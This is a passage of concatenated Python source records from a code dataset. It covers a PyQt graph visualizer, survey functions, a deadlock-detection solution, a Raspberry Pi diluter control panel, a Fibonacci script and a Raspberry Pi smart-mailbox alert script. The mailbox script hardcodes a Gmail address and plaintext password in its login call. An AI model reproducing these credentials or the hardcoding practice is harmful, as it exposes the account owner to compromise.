 qp.drawEllipse(center,7,7)\n                if(e==4) :\n                    qp.setBrush(Qt.red)\n                    qp.drawEllipse(center,10,10)\n                # i=i+1                    \n                # qp.drawEllipse(center,5,5)\n\n\n                \n                self.update()\n    \n        elif(self.init_phase == 4):    #default final state of all graph\n            self.update()\n        elif(self.init_phase == 6): #initial phase of tsp\n            for e in edg :\n                center = QPoint(e[0][0],e[0][1])\n                qp.setBrush(Qt.yellow)\n                qp.drawEllipse(center,5,5)\n               #qp.drawPoint(e[0][0],e[0][1])\n            \n            self.startAct.setEnabled(True)\n            \n            self.update()\n        elif(self.init_phase == 7):    #finall tour plot\n            for e in edg :#you have to use the tour returned by TSP in place of edg\n                center = QPoint(e[0][0],e[0][1])\n                qp.setBrush(Qt.red)\n                qp.drawEllipse(center,5,5)\n               #qp.drawPoint(e[0][0],e[0][1])\n            \n            self.startAct.setEnabled(True)\n            \n            self.update()\n\n\n    def drawLines(self, qp):\n\n        pen = QPen(Qt.black, 2, Qt.SolidLine)\n\n        qp.setPen(Qt.gray)\n\n        with open('edge_list.pkl', 'rb') as f:\n            edg = pickle.load(f)\n        \n           #main()\n        for e in edg :\n           qp.drawLine(e[0][0],e[0][1],e[1][0],e[1][1])    \n\n        if(self.init_phase == 3):\n            pen = QPen(Qt.black, 5, Qt.DashDotLine)\n            # qp.setPen(Qt.red)\n            # qp.setWidth(10)\n            pen.setBrush(Qt.red)\n            pen.setWidth(5)\n            qp.setPen(pen)\n            for i in range(len(self.path_t)-1):\n                a=self.path_t[i]\n                # print(\"---- point a --- \")\n                # print(a)\n                a_pos=dict_index_coord[a]\n                b=self.path_t[i+1]\n                # print(\"---- point b --- \")\n                # print(b)\n                b_pos=dict_index_coord[b]    \n                qp.drawLine(a_pos[0],a_pos[1],b_pos[0],b_pos[1])\n        \nif __name__ == '__main__':\n\n\n    app = QApplication(sys.argv)\n    ex = Example()\n    ex.show()\n    sys.exit(app.exec_())\n\n\n","repo_name":"ssaurab/CS6380_Artificial_Intelligence","sub_path":"Assignment3/TEAM_2/alviz10.py","file_name":"alviz10.py","file_ext":"py","file_size_in_byte":37725,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"14091875986","text":"def escolher_esporte(f, v, b, t):\n    qnt_futebol = f\n    qnt_volei = v\n    qnt_basquete = b\n    time_confianca = t\n    letra_f = 'F'\n    letra_v = 'V'\n    letra_b = 'B'\n    letras = False\n    time = False\n\n    print('-------------Bem-vindo(a) a nossa pesquisa-------------')\n    print('Poderia nos responder qual o seu esporte favorito?')\n    print('F - Futebol, V - Vôlei, B - Basquete')\n    esporte_favorito = input('Digite a letra correspondente: ').upper()\n    if (esporte_favorito == 'F'):\n        letras = True\n    elif (esporte_favorito == 'V'):\n        letras = True\n    elif (esporte_favorito == 'B'):\n        letras = True\n    print(esporte_favorito)\n\n    while (letras == False):\n        esporte_favorito = input('Por favor, digite a letra que corresponda as respostas: ').upper()\n        if (esporte_favorito == 'F'):\n            letras = True\n        elif (esporte_favorito == 'V'):\n            letras = True\n        elif (esporte_favorito == 'B'):\n            letras = True\n\n    if (esporte_favorito == 'F'):\n        qnt_futebol += 1\n        time_favorito = input('Você torce para seu time de confiança? (S) ou (N): ').upper()\n        while (not time):\n            if (time_favorito == 'S'):\n                time = time_favorito == 'S'\n                time_confianca += 1\n\n            else:\n                time_favorito = input('Por favor, responda a pergunta. (S) ou (N): ').upper()\n\n        print(f'Pessoas que gostam de futebol: {qnt_futebol}')\n    elif (esporte_favorito == 'B'):\n        qnt_basquete += 1\n        print(f'Pessoas que gostam de basquete: {qnt_basquete}')\n    else:\n        qnt_volei += 1\n        print(f'Pessoas que gostam de volei: {qnt_volei}')\n    f = qnt_futebol\n    v = qnt_volei\n    b = qnt_basquete\n    t = time_confianca\n    return f, v, b, t\n\n\ndef escolher_genero(m, f, o):\n    g_masculino = m\n    g_feminino = f\n    g_outro = o\n    genero_bool = False\n\n    print('Poderia nos responder qual o seu genero?')\n    print('M - Masculino, F - Feminino, O - Outro')\n    genero_candidato = input('Digite a letra correspondente: ').upper()\n    print(genero_candidato)\n    if (genero_candidato == 'M'):\n        genero_bool = True\n    elif (genero_candidato == 'F'):\n        genero_bool = True\n    elif (genero_candidato == 'O'):\n        genero_bool = True\n\n    while (genero_bool == False):\n        genero_candidato = input('Por favor, digite a letra que corresponda as respostas: ').upper()\n        if (genero_candidato == 'M'):\n            genero_bool = True\n        elif (genero_candidato == 'F'):\n            genero_bool = True\n        elif (genero_candidato == 'O'):\n            genero_bool = True\n\n    if (genero_candidato == ('M')):\n        g_masculino = g_masculino + 1\n        print(f'Pessoas gênero masculino que votaram: {g_masculino}')\n    elif (genero_candidato == ('F')):\n        g_feminino = g_feminino + 1\n        print(f'Pessoas do gênero feminino que votaram: {g_feminino}')\n    else:\n        g_outro = g_outro + 1\n        print(f'Pessoas de outro gênero que votaram: {g_outro}')\n    m = g_masculino\n    f = g_feminino\n    o = g_outro\n    return m, f, o\n\n","repo_name":"ZoahZoah/exercicios_pratica","sub_path":"funcoes.py","file_name":"funcoes.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6140386624","text":"import functools\nfrom typing import List\n\nfrom test_framework import generic_test\nfrom test_framework.test_utils import enable_executor_hook\n\n\nclass GraphVertex:\n\n    WHITE, GRAY, BLACK = range(3)\n\n    def __init__(self) -> None:\n\n        self.color = GraphVertex.WHITE\n\n        self.edges: List['GraphVertex'] = []\n\n\ndef is_deadlocked(graph: List[GraphVertex]) -> bool:\n    def has_cycle(cur):\n        # Visiting a gray vertex means a cycle.\n        if cur.color == GraphVertex.GRAY:\n            return True\n\n        cur.color = GraphVertex.GRAY  # Marks current vertex as a gray one.\n        # Traverse the neighbor vertices.\n        if any(next.color != GraphVertex.BLACK and has_cycle(next)\n               for next in cur.edges):\n            return True\n        cur.color = GraphVertex.BLACK  # Marks current vertex as black.\n        return False\n\n    return any(vertex.color == GraphVertex.WHITE and has_cycle(vertex)\n               for vertex in graph)\n\n\n@enable_executor_hook\ndef is_deadlocked_wrapper(executor, num_nodes, edges):\n    if num_nodes <= 0:\n        raise RuntimeError('Invalid num_nodes value')\n    graph = [GraphVertex() for _ in range(num_nodes)]\n\n    for (fr, to) in edges:\n        if fr < 0 or fr >= num_nodes or to < 0 or to >= num_nodes:\n            raise RuntimeError('Invalid vertex index')\n        graph[fr].edges.append(graph[to])\n\n    return executor.run(functools.partial(is_deadlocked, graph))\n\n\nif __name__ == '__main__':\n    exit(\n        generic_test.generic_test_main('deadlock_detection.py',\n                                       'deadlock_detection.tsv',\n                                       is_deadlocked_wrapper))\n","repo_name":"adnanaziz/EPIJudge","sub_path":"epi_judge_python_solutions/deadlock_detection.py","file_name":"deadlock_detection.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":2693,"dataset":"github-code","pt":"60"}
+{"seq_id":"1779638294","text":"# import the necessary packages\nimport tkinter as tki\nimport dil_globals as dlg\nimport RPi.GPIO as GPIO\nimport console_panel as hpc\n#import seq_control\n\n\ndef onClose():\n    dlg.saveDiluterConfig()\n    root.destroy()\n    \ndlg.sequences = dlg.listSequences(dlg.sequences_path)\n\ndlg.diluter_config = dlg.setDiluterConfig()\n\n# initialize the root window\n \nmainw_w = 640\nmainw_h = 480\npadding = 8\nheader = padding\n\ncalib_Z_w = (mainw_w - 3 * padding) /2\ncalib_Z_h = mainw_h * 0.2\n\ncontainers_X_w = calib_Z_w\ncontainers_X_h = 1.5 * calib_Z_h\n\ncalib_S_w = calib_Z_w\ncalib_S_h = calib_Z_h  + containers_X_h + padding \n\ncalib_X_w = 2 * calib_Z_w + padding\ncalib_X_h = mainw_h * 0.17\n\nsequences_w = (mainw_w - 3 * padding) * 0.4\nsequences_h = mainw_h - calib_S_h - calib_X_h - header - 3 * padding\n\nconsole_w = mainw_w - sequences_w - 3 * padding\nconsole_h = sequences_h\n\nroot = tki.Tk()\nscr_w = root.winfo_screenwidth()\nscr_h = root.winfo_screenheight()\nx = int(scr_w/2 - mainw_w/2)\ny = int(scr_h/2 - mainw_h/2)\n\n\nroot.geometry(f'{mainw_w}x{mainw_h}+{x}+{y}')\n\n# set a callback to handle when the window is closed\nroot.wm_title(\"Soluter Control Panel V1.0\")\nroot.wm_protocol(\"WM_DELETE_WINDOW\", onClose)\n\n# Set panels\ncalib_Z = tki.LabelFrame(root, text = \"Z-axis Calibration\")\ncontainers_X = tki.LabelFrame(root, text = \"Containers Calibration\")\ncalib_S = tki.LabelFrame(root, text = \"Syringe Calibration\")\ncalib_X = tki.LabelFrame(root, text = \"X-axis Calibration\")\nsequences = tki.LabelFrame(root, text = \"Sequences\")\nhp_console_w = tki.LabelFrame(root, text = \"Status Console\")\n\ncalib_Z.place(x = padding, y = header, width = calib_Z_w, height = calib_Z_h) # Z-axis calibration\ncontainers_X.place(x = padding, y = header + calib_Z_h + padding, width = containers_X_w, height = containers_X_h) # containers positions\ncalib_S.place(x = 2 * padding + calib_Z_w, y = header, width = calib_S_w, height = calib_S_h) # syringe calibration\ncalib_X.place(x = padding, y = header + calib_S_h + padding, width = calib_X_w, height = calib_X_h) # X-axis calibration\nsequences.place(x = padding, y = header + calib_S_h + calib_X_h + 2 * padding, width = sequences_w, height = sequences_h) # Sequences\n\n##################################### CONSOLE  ########################################\nhp_console_w.place(x = sequences_w  + 2*padding, y = header + calib_S_h + calib_X_h + 2 * padding, width = console_w, height = console_h) # Status console\ndlg.hp_console = hpc.hpConsole(hp_console_w)\n\n################################# Calibration Z-axis ##########################################\n\nsszlabel = tki.Label(calib_Z, text = \"Step Size:\")\nsszlabel.place(relx = 0.61, rely = 0.3)\ncalib_Z_stepS = tki.Spinbox(calib_Z, from_= 2, to = 998, increment = 2)\ncalib_Z_stepS.place(relwidth = 0.15, relx = 0.84, rely = 0.3)\ncalib_Z_stepS.delete(0, tki.END)\ncalib_Z_stepS.insert(0, str(dlg.diluter_config['stepZ']))\n\nupZ_btn = tki.Button(calib_Z, text = \"UP\", command = lambda: dlg.runStepperZ(int(calib_Z_stepS.get())))\nupZ_btn.place(relwidth = 0.15, height = 20, relx = 0.84, rely = 0.0)\ndownZ_btn = tki.Button(calib_Z, text = \"DN\", command = lambda: dlg.runStepperZ(-int(calib_Z_stepS.get())))\ndownZ_btn.place(relwidth = 0.15, height = 20, relx = 0.84, rely = 0.65)\n\nhlabel = tki.Label(calib_Z, text = \"Highest Position:\")\nhlabel.place(relx = 0.01, rely = 0)\nsethZ_btn = tki.Button(calib_Z, text = \"Set\", command = lambda: dlg.setPos('stZHighest'))\nsethZ_btn.place(relwidth = 0.15, height = 20, relx = 0.4, rely = 0.0)\nmove2hZ_btn = tki.Button(calib_Z, text = \"Move to\", command = lambda: dlg.moveToPos('stZHighest'))\nmove2hZ_btn.place(relwidth = 0.25, height = 20, relx = 0.55, rely = 0.0)\n\nllabel = tki.Label(calib_Z, text = \"Lowest Position:\")\nllabel.place(relx = 0.01, rely = 0.65)\nsetlZ_btn = tki.Button(calib_Z, text = \"Set\", command = lambda: dlg.setPos('stZLowest'))\nsetlZ_btn.place(relwidth = 0.15, height = 20, relx = 0.4, rely = 0.65)\nmove2lZ_btn = tki.Button(calib_Z, text = \"Move to\", command = lambda: dlg.moveToPos('stZLowest'))\nmove2lZ_btn.place(relwidth = 0.25, height = 20, relx = 0.55, rely = 0.65)\n\n################################# Containers Calibration X-axis ##################################\n\nsclabel = tki.Label(containers_X, text = \"Sample Container:\")\nsclabel.place(relx = 0.01, rely = 0.12)\n# scposlabel = tki.Label(containers_X, text = str(dlg.diluter_config['sc_pos']))\n# scposlabel.place(relx = 0.45, rely = 0.12)\nscset_btn = tki.Button(containers_X, text = \"Set\", command = lambda: dlg.setPos('sc_pos'))\nscset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.12)\nscmove2_btn = tki.Button(containers_X, text = \"Move to\", command = lambda: dlg.moveToPos('sc_pos'))\nscmove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.12)\n\ntclabel = tki.Label(containers_X, text = \"Diluter Container:\")\ntclabel.place(relx = 0.01, rely = 0.32)\n# tcposlabel = tki.Label(containers_X, text = str(dlg.diluter_config['tc_pos']))\n# tcposlabel.place(relx = 0.45, rely = 0.32)\ntcset_btn = tki.Button(containers_X, text = \"Set\", command = lambda: dlg.setPos('tc_pos'))\ntcset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.32)\ntcmove2_btn = tki.Button(containers_X, text = \"Move to\", command = lambda: dlg.moveToPos('tc_pos'))\ntcmove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.32)\n\nmclabel = tki.Label(containers_X, text = \"Mixing Container:\")\nmclabel.place(relx = 0.01, rely = 0.52)\n# mcposlabel = tki.Label(containers_X, text = str(dlg.diluter_config['mc_pos']))\n# mcposlabel.place(relx = 0.45, rely = 0.52)\nmcset_btn = tki.Button(containers_X, text = \"Set\", command = lambda: dlg.setPos('mc_pos'))\nmcset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.52)\nmcmove2_btn = tki.Button(containers_X, text = \"Move to\", command = lambda: dlg.moveToPos('mc_pos'))\nmcmove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.52)\n\nwclabel = tki.Label(containers_X, text = \"Waste Container:\")\nwclabel.place(relx = 0.01, rely = 0.72)\n# wcposlabel = tki.Label(containers_X, text = str(dlg.diluter_config['wc_pos']))\n# wcposlabel.place(relx = 0.45, rely = 0.72)\nwcset_btn = tki.Button(containers_X, text = \"Set\", command = lambda: dlg.setPos('wc_pos'))\nwcset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.72)\nwcmove2_btn = tki.Button(containers_X, text = \"Move to\", command = lambda: dlg.moveToPos('wc_pos'))\nwcmove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.72)\n\n################################# Syringe Calibration Z-axis ##################################\n\nseelabel = tki.Label(calib_S, text = \"Extended Empty:\")\nseelabel.place(relx = 0.01, rely = 0.05)\n# seeposlabel = tki.Label(calib_S, text = str(dlg.diluter_config['sy_ext_e']))\n# seeposlabel.place(relx = 0.45, rely = 0.05)\nseeset_btn = tki.Button(calib_S, text = \"Set\", command = lambda: dlg.setPos('sy_ext_e'))\nseeset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.05)\nseemove2_btn = tki.Button(calib_S, text = \"Move to\", command = lambda: dlg.moveToPos('sy_ext_e'))\nseemove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.05)\n\nseflabel = tki.Label(calib_S, text = \"Extended Full\")\nseflabel.place(relx = 0.01, rely = 0.2)\n# sefposlabel = tki.Label(calib_S, text = str(dlg.diluter_config['sy_ext_f']))\n# sefposlabel.place(relx = 0.45, rely = 0.2)\nsefset_btn = tki.Button(calib_S, text = \"Set\", command = lambda: dlg.setPos('sy_ext_f'))\nsefset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.2)\nsefmove2_btn = tki.Button(calib_S, text = \"Move to\", command = lambda: dlg.moveToPos('sy_ext_f'))\nsefmove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.2)\n\nsrelabel = tki.Label(calib_S, text = \"Retracted Empty:\")\nsrelabel.place(relx = 0.01, rely = 0.35)\n# sreposlabel = tki.Label(calib_S, text = str(dlg.diluter_config['sy_rtr_e']))\n# sreposlabel.place(relx = 0.45, rely = 0.35)\nsreset_btn = tki.Button(calib_S, text = \"Set\", command = lambda: dlg.setPos('sy_rtr_e'))\nsreset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.35)\nsremove2_btn = tki.Button(calib_S, text = \"Move to\", command = lambda: dlg.moveToPos('sy_rtr_e'))\nsremove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.35)\n\nsrflabel = tki.Label(calib_S, text = \"Retracted Full:\")\nsrflabel.place(relx = 0.01, rely = 0.5)\n# srfposlabel = tki.Label(calib_S, text = str(dlg.diluter_config['sy_rtr_f']))\n# srfposlabel.place(relx = 0.45, rely = 0.5)\nsrfset_btn = tki.Button(calib_S, text = \"Set\", command = lambda: dlg.setPos('sy_rtr_f'))\nsrfset_btn.place(relwidth = 0.15, height = 20, relx = 0.55, rely = 0.5)\nsrfmove2_btn = tki.Button(calib_S, text = \"Move to\", command = lambda: dlg.moveToPos('sy_rtr_f'))\nsrfmove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.5)\n\nsvlabel = tki.Label(calib_S, text = \"Syringe Volume (Full - Empty):              ml\")\nsvlabel.place(relx = 0.01, rely = 0.75)\nsventry = tki.Entry(calib_S)\nsventry.place(relwidth = 0.15, relx = 0.7, rely = 0.75)\nsventry.delete(0, tki.END)\nsventry.insert(0, str(dlg.diluter_config['syr_vol']))\n\n\nng = tki.Entry(calib_S)\nng.place(relwidth = 0.1, relx = 0.55, rely = 0.88)\nng.delete(0, tki.END)\nng.insert(0, str(dlg.diluter_config['syringeLatch_GPIO']))\nsrfmove2_btn = tki.Button(calib_S, text = \"Latch\", command = lambda: ToggleGPIO(int(ng.get())))\nsrfmove2_btn.place(relwidth = 0.25, height = 20, relx = 0.7, rely = 0.9)\n\n\n\n#################################  Calibration X-axis ##################################\n\nssxlabel = tki.Label(calib_X, text = \"Step Size:\")\nssxlabel.place(relx = 0.39, rely = 0.6)\ncalib_X_stepS = tki.Spinbox(calib_X, from_= 2, to = 998, increment = 2)\ncalib_X_stepS.place(relwidth = 0.08, relx = 0.51, rely = 0.58)\ncalib_X_stepS.delete(0, tki.END)\ncalib_X_stepS.insert(0, str(dlg.diluter_config['stepZ']))\n\nupZ_btn = tki.Button(calib_X, text = \"<<<\", command = lambda: dlg.runStepperX(int(calib_X_stepS.get())))\nupZ_btn.place(relwidth = 0.1, height = 20, relx = 0.28, rely = 0.6)\ndownZ_btn = tki.Button(calib_X, text = \">>>\", command = lambda: dlg.runStepperX(-int(calib_X_stepS.get())))\ndownZ_btn.place(relwidth = 0.1, height = 20, relx = 0.6, rely = 0.6)\n\nhlabel = tki.Label(calib_X, text = \"Leftmost Position:\")\nhlabel.place(relx = 0.01, rely = 0.02)\nsethZ_btn = tki.Button(calib_X, text = \"Set\", command = lambda: dlg.setPos('stXLeftmost'))\nsethZ_btn.place(relwidth = 0.07, height = 20, relx = 0.25, rely = 0.02)\nmove2hZ_btn = tki.Button(calib_X, text = \"Move to\", command = lambda: dlg.moveToPos('stXLeftmost'))\nmove2hZ_btn.place(relwidth = 0.12, height = 20, relx = 0.32, rely = 0.02)\n\nllabel = tki.Label(calib_X, text = \"Rightmost Position:\")\nllabel.place(relx = 0.51, rely = 0.02)\nsetlZ_btn = tki.Button(calib_X, text = \"Set\", command = lambda: dlg.setPos('stXRightmost'))\nsetlZ_btn.place(relwidth = 0.07, height = 20, relx = 0.75, rely = 0.02)\nmove2lZ_btn = tki.Button(calib_X, text = \"Move to\", command = lambda: dlg.moveToPos('stXRightmost'))\nmove2lZ_btn.place(relwidth = 0.12, height = 20, relx = 0.82, rely = 0.02)\n\n#################################  Operational scripts ##################################\n\nom_var = tki.StringVar(sequences)\nom_var.set(dlg.sequences[0])\n\n# initialize python editor\nglobal PYTHON_EDITOR\nPYTHON_EDITOR = '/usr/bin/thonny'\n#editor = os.environ.get('EDITOR', PYTHON_EDITOR)\n\nsequences_menu = tki.OptionMenu(sequences, om_var, *dlg.sequences)\nsequences_menu.place(relwidth = 0.9, relx=0.05, rely = 0)\n\nno_of_cycles = tki.Spinbox(sequences, from_= 1, to = 99)\nno_of_cycles.place(relwidth = 0.25, relheight = 0.25, relx=0.05, rely =0.35)\n\nrun_seq = tki.Button(sequences, text=\"Run Sequence\", pady = 10, command= lambda: runSequence(om_var))\nrun_seq.place(relwidth = 0.6, relheight = 0.25, relx=0.35, rely =0.35)\n\nedit_seq = tki.Button(sequences, text=\"Edit Sequence\", pady = 10, command = lambda: dlg.editSeq(om_var))\nedit_seq.place(relwidth = 0.9, relheight = 0.25, relx=0.05, rely =0.66)\n\n##### DEBUG ########\ndef ToggleGPIO(noGPIO):\n    if GPIO.input(noGPIO):\n        GPIO.output(noGPIO, GPIO.LOW)\n    else:\n        GPIO.output(noGPIO, GPIO.HIGH)\n   \ndef runSequence(seq):\n    dlg.runSequence(seq)\n\n####################### Main ############################\n\nroot.mainloop()","repo_name":"nela69/Diluter","sub_path":"diluter_UI.py","file_name":"diluter_UI.py","file_ext":"py","file_size_in_byte":12205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27220550110","text":"count = 0\n\n#function to print the sequence\ndef fibonacci(n):\n    if n <= 1:\n        return n\n    else:\n        return(fibonacci(n-2) + fibonacci(n-1))\n        \n\n#Request user input for numbers in sequence\nnterms = int(input('Enter the number of numbers in the sequence: '))\n\n#Check that user has entered a positive number\nif nterms <=0:\n    print('Please enter a valid number')\nelse:\n    print('The numbers in the sequence are')\n    while count < nterms:\n        print(fibonacci(count))\n        count+=1\n","repo_name":"EvansVan/Python-Ninjas-Fibonacci","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22780156344","text":"# allow less secure apps to access your Gmail at: https://support.google.com/accounts/answer/6010255?hl=en\n# guide for setting up PiCamera at: https://www.raspberrypi.org/learning/getting-started-with-picamera/worksheet/\n# guide for connecting PIR sensor to Pi at: https://www.raspberrypi.org/learning/parent-detector/worksheet/\n# requires your email password to run (line 56), obviously a security hazard so be careful.\n\nfrom gpiozero import MotionSensor\nfrom picamera import PiCamera\nfrom datetime import datetime\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\nfrom email.mime.text import MIMEText\nimport email.encoders\nimport smtplib\nimport os\nimport email\nimport sys\nimport time\nimport dht11\nimport RPi.GPIO as GPIO\nimport Adafruit_GPIO.SPI as SPI\nimport Adafruit_MCP3008\nfrom threading import Timer\n\nad_photores_mail=0\nad_photores_light=5\n\ni_tilt_gpio_number = 5\ni_humidity_gpio_number = 27\ni_sec_button_gpio_number = 13\no_flag_gpio_number = 17\no_led_white_in_gpio_number = 21\no_led_red_alarm_gpio_number = 16\no_led_red_ir_gpio_number = 20\n\n\n\ndef isPhotoresistorInOn(threshold):\n    #photo resistors\n    CLK  = 26\n    MISO = 19\n    MOSI = 12\n    CS   = 6\n    mcp = Adafruit_MCP3008.MCP3008(clk=CLK, cs=CS, miso=MISO, mosi=MOSI)\n\n    if mcp.read_adc(ad_photores_mail) >= threshold:\n        return True\n    else:\n        return False\n\ndef isPhotoresistorOutOn(threshold):\n    #photo resistors\n    CLK  = 26\n    MISO = 19\n    MOSI = 12\n    CS   = 6\n    mcp = Adafruit_MCP3008.MCP3008(clk=CLK, cs=CS, miso=MISO, mosi=MOSI)\n    print (mcp.read_adc(ad_photores_light))\n    if mcp.read_adc(ad_photores_light) >= threshold:\n        return True\n    else:\n        return False\n\ndef tiltOn(ev=None):\n    print (\"In tiltOn func\")\n\n    isNight = False\n    if isPhotoresistorOutOn(800):\n        isNight = True\n    \n    if securityOn:\n        alarm()\n        alarm()\n        alarm()\n        print (\"After alarm\")\n\n        if isNight:\n            startFlash()\n            \n        takePhoto()\n        print (\"After takePhoto\")\n        sendEmail(\"Please check the attach photo\", True)\n        emailType = 0\n\n        if isNight:\n            stopFlash()\n\ndef startFlash():\n    print ('startFlash')\n    turnOnLed(o_led_red_ir_gpio_number)\n    #time.sleep(1)\n\ndef stopFlash():\n    print ('stopFlash')    \n    turnOffLed(o_led_red_ir_gpio_number)\n    #time.sleep(1)\n\ndef timeout():\n    if(emailSent):\n        email = False;\n\ndef initAll():\n    global hum_sensor_value\n    global footage\n    global securityOn\n    global isNight\n    #global emailSent\n    global emailType\n\n    #emailSent = False\n\n    footage = '/home/pi/smartbox/Intruder.jpg'\n    securityOn = True\n    emailType = 0\n\n    #GPIO common settings\n    GPIO.setmode(GPIO.BCM)\n    GPIO.setwarnings(False)\n\n    #tilt sensor\n    tilt_sensor_value = GPIO.setup(i_tilt_gpio_number, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n    GPIO.add_event_detect(i_tilt_gpio_number, GPIO.FALLING, callback=tiltOn, bouncetime=100) \n\n    #humidity sensor\n    hum_sensor_value = dht11.DHT11(pin=i_humidity_gpio_number)\n\n    #security button\n    GPIO.setup(i_sec_button_gpio_number, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n\n    #LED\n    GPIO.setup(o_led_white_in_gpio_number, GPIO.OUT)\n    GPIO.setup(o_led_red_alarm_gpio_number, GPIO.OUT)\n    GPIO.setup(o_led_red_ir_gpio_number, GPIO.OUT)\n\n    \n    #Flag motor\n    GPIO.setup(o_flag_gpio_number, GPIO.OUT)\n    \n    #Turning off all LEDs\n    turnOffLed(o_led_white_in_gpio_number)\n    turnOffLed(o_led_red_alarm_gpio_number)\n    turnOffLed(o_led_red_ir_gpio_number)\n\ndef moveFlag(upFlag):\n    p=GPIO.PWM(o_flag_gpio_number, 50)\n    p.start(0)\n    p.ChangeDutyCycle(0)\n    \n    if upFlag:\n    #Flag up\n       p.ChangeDutyCycle(5)\n       time.sleep(2)\n    else:\n       #Flag down\n       p.ChangeDutyCycle(12)\n       time.sleep(2)\n\n    p.stop()\n\ndef isWaterInsideBox(threshold):\n    result = hum_sensor_value.read()\n    if result.is_valid():\n        if result.humidity >= threshold:\n            return True\n        else:\n            return False\n\n\ndef takePhoto():\n    print(\"camera\")\n\n    camera = PiCamera()\n\n    camera.rotation = 180\n    camera.resolution=(2592,1944)\n    camera.framerate=15\n    #camera.annotate_text=\"Hello there!\"\n    camera.annotate_text_size=100\n    #camera.brightness=60\n    #camera.start_preview()\n    #camera.image_effect = 'colorswap'\n\n    time.sleep(1)\n        \n    camera.capture(footage)\n    \n\n    #camera.stop_preview()\n    camera.close()\n\ndef sendEmail(textMessage,isAttach):\n    print(\"sendEmail\")\n    # prepare the email\n    f_time = datetime.now().strftime(\"%A %B %d %Y @ %H:%M:%S\")\n    msg = MIMEMultipart()\n    msg[\"Subject\"] = f_time\n    msg[\"From\"] = \"your_address@gmail.com\"\n    msg[\"To\"] = \"to_address@gmail.com\"\n    text = MIMEText(textMessage)\n    msg.attach(text)\n\n    if isAttach:\n        print ('attach mp4 video to email')\n        # attach mp4 video to email\n        part = MIMEBase(\"application\", \"octet-stream\")\n        part.set_payload(open(footage, \"rb\").read())\n        email.encoders.encode_base64(part)\n        part.add_header(\"Content-Disposition\", \"attachment; filename= %s\" % os.path.basename(footage))\n        msg.attach(part)\n\n    print ('access Gmail account and send email')\n    # access Gmail account and send email\n    server = smtplib.SMTP(\"smtp.gmail.com:587\")\n    server.starttls()\n    print ('login')\n    server.login(\"qa069382@gmail.com\",\"tsdtsdtsd\")\n    print ('sendmail')\n    server.sendmail(\"qa069382@gmail.com\", \"qa069382@gmail.com\", msg.as_string())\n    server.quit()\n    #emailSent = True;\n    #t = Timer(600, timeout)\n    #t.start()\n\n    # delete mp4 from Pi after it has been emailed\n    # os.system(\"rm \" + footage)\n    \ndef isPassword():\n    button_state1 = GPIO.input(i_sec_button_gpio_number)\n    if button_state1 == True:\n        print(\"Wait 1 sec\")\n        time.sleep(1)\n        print (\"Now!\")\n        button_state2 = GPIO.input(i_sec_button_gpio_number)\n        if button_state2 == True:\n            print (\"YES!\")\n            ret=True\n        else:\n            ret=False\n    else:\n        ret=False\n    return ret\n\ndef alarm():\n    turnOnLed(o_led_red_alarm_gpio_number)\n    time.sleep(0.1)\n    turnOffLed(o_led_red_alarm_gpio_number)\n    time.sleep(0.1)\n\ndef turnOnLed(led_pin):\n    GPIO.output(led_pin,GPIO.HIGH)\n\ndef turnOffLed(led_pin):\n    GPIO.output(led_pin,GPIO.LOW)\n\ninitAll()\n\nwhile True:\n    \n    if(isWaterInsideBox(70)):\n        print (\"THERE IS WATER INSIDE THE BOX!!!!\")\n        if (emailType != 1):\n            sendEmail(\"Water is inside the box\", False)\n            emailType = 1\n    if(isPhotoresistorInOn(800)):       \n        if (emailType != 2):\n            print (\"Photoresistor\")\n            sendEmail(\"There is a mail in your box\", False)\n            emailType = 2\n        moveFlag(True)\n    else:\n        moveFlag(False)\n    if isPassword():\n        print (\"Password\")\n        if securityOn:\n            print (\"Security disabled\")\n            securityOn = False\n        else:\n            print (\"Security enabled\")\n            securityOn = True\n    #print (\"Before sleep\")    \n    #time.sleep(1)\n    #print (\"After sleep, end of loop\")\n\n\n\n","repo_name":"tsd80/smartbox","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
